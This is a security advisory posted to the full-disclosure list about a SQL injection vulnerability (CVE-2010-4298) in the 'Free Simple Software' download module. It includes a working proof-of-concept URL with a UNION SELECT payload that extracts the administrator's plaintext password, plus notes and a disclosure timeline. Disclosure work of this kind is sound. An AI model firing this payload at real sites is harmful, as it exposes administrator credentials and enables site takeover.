full-disclosure - 'Free Simple Software' SQL Injection Vulnerability (CVE-2010-4298)

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Message-Id: <8B06954A-A41E-4AAA-AF35-40D5A1120323@gmail.com>
Date: Sun, 21 Nov 2010 14:56:49 -0500
From: Mark Stanislav <mark.stanislav@...il.com>
To: full-disclosure@...ts.grok.org.uk
Cc: bugtraq@...urityfocus.com
Subject: 'Free Simple Software' SQL Injection
	Vulnerability (CVE-2010-4298)

'Free Simple Software' SQL Injection Vulnerability (CVE-2010-4298)
Mark Stanislav - mark.stanislav@...il.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in the 'Free Simple Software' download module which allows for a 'UNION SELECT' to easily expose the application administrator's plaintext password.

 
II. TESTED VERSION
---------------------------------------
1.0 [Manual Install Version]


III. PoC EXPLOIT
---------------------------------------
http://site.com/index.php?page=downloads&request=download_now&downloads_id=' UNION SELECT email_address as name, NULL, NULL, password as file_name, last_name as file_url from admin_users where id!='NULL


IV. NOTES 
---------------------------------------
* User passwords for this web application are not encrypted or hashed which makes this exploit even more concerning.
* The PoC assumes that the first user is the administrative user which is the default behavior for the application.
* At least 1 download must already exist to enable this exploit.
* Due to a previous vulnerability not being fixed 3-months after disclosure (CVE-2010-3307), it's assumable that this application is not being actively developed.


V. SOLUTION
---------------------------------------
Do not utilize the download module. No patch/upgrade is available at this time.


VI. REFERENCES
---------------------------------------
http://www.freesimplesoft.com/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4298
https://www.uncompiled.com/2010/11/free-simple-software-sql-injection-vulnerability-cve-2010-4298/


VII. TIMELINE
---------------------------------------
11/12/2010: Initial disclosure e-mail to the vendor
11/21/2010: Public disclosure
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